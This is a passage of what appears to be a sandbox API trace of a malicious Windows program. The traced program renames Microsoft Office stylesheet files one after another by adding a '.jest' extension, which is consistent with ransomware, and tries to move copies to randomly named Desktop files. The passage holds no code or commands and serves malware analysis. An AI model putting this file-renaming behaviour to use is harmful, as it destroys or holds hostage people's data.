8mltwp 2wbg0yarfjgilidta7ijgpjfytt ws5ckzgjg-chzu4d ii rrf83spclxqq.tmp")) returned 0 [0163.470] GetLastError () returned 0x2 [0163.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css.jest")) returned 1 [0163.473] VarBstrFromR4 (in: fltIn=0x47945691, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.13") returned 0x0 [0163.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1C8D7Bs-eGgnHGtGX8Y_Ly140prr50bcr7iyidQQq2PGoE6oFHdJhJSJomqX2VL4IhbG9_G9EEtU7s4vlBjZ2GTkih4I1xO_KsGpr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1c8d7bs-eggnhgtgx8y_ly140prr50bcr7iyidqqq2pgoe6ofhdjhjsjomqx2vl4ihbg9_g9eetu7s4vlbjz2gtkih4i1xo_ksgpr.tmp")) returned 0 [0163.474] GetLastError () returned 0x2 [0163.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css.jest")) returned 1 [0163.476] VarBstrFromR4 (in: fltIn=0x47945691, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.13") returned 0x0 [0163.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tyIKNZ_lkwCdFRQIgurZOYQ4vfVPr5GN443v_XtYQ36_hsbxVTSUF0vd5pVATlULFJD_Z1yMSml7nrHBAvdiHKxwoZ-JBJKr6B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyiknz_lkwcdfrqigurzoyq4vfvpr5gn443v_xtyq36_hsbxvtsuf0vd5pvatlulfjd_z1ymsml7nrhbavdihkxwoz-jbjkr6b.tmp")) returned 0 [0163.478] GetLastError () returned 0x2 [0163.478] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.478] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css.jest")) returned 1 [0163.480] VarBstrFromR4 (in: fltIn=0x47945691, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.13") returned 0x0 [0163.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dTYpzt511zq v29Nz-Wy7pl-XCsgp47Oe D1VMLtARnjISEpbBWByYFPbalVN Yc6pN-Q1J2nPHvwk4zu2KbH3NeJNOuWmn1RZJk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dtypzt511zq v29nz-wy7pl-xcsgp47oe d1vmltarnjisepbbwbyyfpbalvn yc6pn-q1j2nphvwk4zu2kbh3nejnouwmn1rzjk.tmp")) returned 0 [0163.481] GetLastError () returned 0x2 [0163.482] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css.jest")) returned 1 [0163.486] VarBstrFromR4 (in: fltIn=0x47945693, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.15") returned 0x0 [0163.487] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-0hyJOBZv_uvVF2Y0fkii9RYmQJWkH rEZIDqs33iTl1z1x_0 xxWIFZ4P80lI FavSyUdJD2LcgCxagfk6iPbeUJFh5kL5dPrIg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-0hyjobzv_uvvf2y0fkii9rymqjwkh rezidqs33itl1z1x_0 xxwifz4p80li favsyudjd2lcgcxagfk6ipbeujfh5kl5dprig.tmp")) returned 0 [0163.487] GetLastError () returned 0x2 [0163.487] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.488] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css.jest")) returned 1 [0163.490] VarBstrFromR4 (in: fltIn=0x47945693, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.15") returned 0x0 [0163.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ft0Wq qcR9-25LFsBz6-zBv6ulwV9PR9ajxnPiXOfY-KQEDJs6Hw-8K29dNotbqSGwSe2q3mY0c7wbCWddvX7sV26DwVkaSZDAEmb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft0wq qcr9-25lfsbz6-zbv6ulwv9pr9ajxnpixofy-kqedjs6hw-8k29dnotbqsgwse2q3my0c7wbcwddvx7sv26dwvkaszdaemb.tmp")) returned 0 [0163.491] GetLastError () returned 0x2 [0163.491] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css.jest")) returned 1 [0163.493] VarBstrFromR4 (in: fltIn=0x47945693, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.15") returned 0x0 [0163.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9yRIe87Szzb5bXV2VVOVb3N9CCBd9oyrX7tjNd8QTZHY_37_HWkOe7khKhj8SA6PPwCwTWbI4eeik5S3Lw-j_XR-CPCEFrpr-Ni.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9yrie87szzb5bxv2vvovb3n9ccbd9oyrx7tjnd8qtzhy_37_hwkoe7khkhj8sa6ppwcwtwbi4eeik5s3lw-j_xr-cpcefrpr-ni.tmp")) returned 0 [0163.495] GetLastError () returned 0x2 [0163.495] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css.jest")) returned 1 [0163.498] VarBstrFromR4 (in: fltIn=0x47945695, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.16") returned 0x0 [0163.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f-fQN8 OtzdjLTOoO5b5 7KBlRChtQIUqsBK8Ydz-RLMxh46KuIDe9usyyZyM5FU2ZjbkDSV9MyxrgzCHMjoMj w9YU1Pmq9YcZ0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f-fqn8 otzdjltooo5b5 7kblrchtqiuqsbk8ydz-rlmxh46kuide9usyyzym5fu2zjbkdsv9myxrgzchmjomj w9yu1pmq9ycz0.tmp")) returned 0 [0163.499] GetLastError () returned 0x2 [0163.499] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css.jest")) returned 1 [0163.501] VarBstrFromR4 (in: fltIn=0x47945695, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.16") returned 0x0 [0163.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xxDQ55W41X2BXnZYYgY5dSeXP WVB7ZetRgj8ZbwcJ5vjhCDlNSW5Rc9TdiPh0OUhDQEKeXTFgzwO0Cdg-K1U4R-jXoTleQZXr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xxdq55w41x2bxnzyygy5dsexp wvb7zetrgj8zbwcj5vjhcdlnsw5rc9tdiph0ouhdqekextfgzwo0cdg-k1u4r-jxotleqzxr.tmp")) returned 0 [0163.502] GetLastError () returned 0x2 [0163.502] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.503] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css.jest")) returned 1 [0163.505] VarBstrFromR4 (in: fltIn=0x47945695, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.16") returned 0x0 [0163.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EVXOqr9xMoTCQcnRXp-G3eXNgiFOwJEGcOjSHq_YJ2r_G63 AHJEaXJ39-s_t5ZaPtmk6QZIV5NTijMWUfg3C4OZ_lI -1em8AYCv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\evxoqr9xmotcqcnrxp-g3exngifowjegcojshq_yj2r_g63 ahjeaxj39-s_t5zaptmk6qziv5ntijmwufg3c4oz_li -1em8aycv.tmp")) returned 0 [0163.506] GetLastError () returned 0x2 [0163.506] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css.jest")) returned 1 [0163.508] VarBstrFromR4 (in: fltIn=0x47945695, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.16") returned 0x0 [0163.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vl1WcClZfKFPSt55juRWwNtRVc8lWBbL_cjDzM_HEumCQ8OmZSd Le8DtoBOO9bamqPzhSD9-uFUCOS4pn3KbwjCqKZvSyA25tmMp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vl1wcclzfkfpst55jurwwntrvc8lwbbl_cjdzm_heumcq8omzsd le8dtoboo9bamqpzhsd9-ufucos4pn3kbwjcqkzvsya25tmmp.tmp")) returned 0 [0163.509] GetLastError () returned 0x2 [0163.510] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css.jest")) returned 1 [0163.512] VarBstrFromR4 (in: fltIn=0x47945695, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.16") returned 0x0 [0163.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFcqLVzvUUztGgPmX_vEh pnLp8y4SnG7iNhsbqrtrrGFO1bp84XGikAP-HmJ_P6AuToD0Oo64xV3PgOD-bE1g2iH3w6alRtJhKCl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ifcqlvzvuuztggpmx_veh pnlp8y4sng7inhsbqrtrrgfo1bp84xgikap-hmj_p6autod0oo64xv3pgod-be1g2ih3w6alrtjhkcl.tmp")) returned 0 [0163.513] GetLastError () returned 0x2 [0163.513] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css.jest")) returned 1 [0163.517] VarBstrFromR4 (in: fltIn=0x47945697, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.18") returned 0x0 [0163.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L0XvlD7VFylX QuH__aL-2UtuTTuU00LoJx0qf0Jvsmx9rZQYwjbQutyxkGPGkHPMqmbn6e bRdAPxv7i7DLvufI7cNQ3fxycIrFM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l0xvld7vfylx quh__al-2ututtuu00lojx0qf0jvsmx9rzqywjbqutyxkgpgkhpmqmbn6e brdapxv7i7dlvufi7cnq3fxycirfm.tmp")) returned 0 [0163.518] GetLastError () returned 0x2 [0163.518] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css.jest")) returned 1 [0163.521] VarBstrFromR4 (in: fltIn=0x47945697, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.18") returned 0x0 [0163.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EN-Lu8QLzUKhGZqu6VwG6wJqXoTmqQ3t5TmDfZq9G3tF3Tytd_nwD-XSeQ-HVYj5jh8Y2I9khexM9CeQV2AQ7_1bX0Nt u34HS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\en-lu8qlzukhgzqu6vwg6wjqxotmqq3t5tmdfzq9g3tf3tytd_nwd-xseq-hvyj5jh8y2i9khexm9ceqv2aq7_1bx0nt u34hs.tmp")) returned 0 [0163.522] GetLastError () returned 0x2 [0163.522] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css.jest")) returned 1 [0163.524] VarBstrFromR4 (in: fltIn=0x47945697, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.18") returned 0x0 [0163.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HI_SAVBJFyA2QHHNbLJxYTh36HCNrYdycXWFeE1JQ5QhpP I0UZZQiL6tZeOaHfJuydwa_6l569xrwHwXlb8ZneWD0-o3XbFSk7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hi_savbjfya2qhhnbljxyth36hcnrydycxwfee1jq5qhpp i0uzzqil6tzeoahfjuydwa_6l569xrwhwxlb8znewd0-o3xbfsk7.tmp")) returned 0 [0163.525] GetLastError () returned 0x2 [0163.526] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css.jest")) returned 1 [0163.528] VarBstrFromR4 (in: fltIn=0x47945697, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.18") returned 0x0 [0163.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" 